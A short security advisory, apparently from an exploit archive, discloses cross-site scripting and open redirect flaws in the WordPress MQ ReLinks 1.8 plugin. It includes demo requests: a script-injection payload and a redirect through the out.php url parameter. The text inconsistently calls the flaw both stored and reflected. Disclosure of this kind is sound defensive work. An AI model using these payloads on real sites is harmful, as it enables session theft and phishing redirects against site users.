WordPress MQ ReLinks 1.8 XSS / Open Redirection

WordPress MQ ReLinks plugin version 1.8 suffers from cross site scripting and open redirection vulnerabilities.


MD5 | 53ce06689dd3835a0618f5cfdf0f4cf4

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable MQ ReLinks 1.8

MQ ReLinks is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:


Demo Request:
http://localhost//wordpress/wp-content/plugins/mq-relinks/out.php?url=
</title><script>alert("R1XS4.COM")</script>


Can also be used to redirect to another page without verification:
http://localhost//wordpress/wp-content/plugins/mq-relinks/out.php?url=R1XS4.COM

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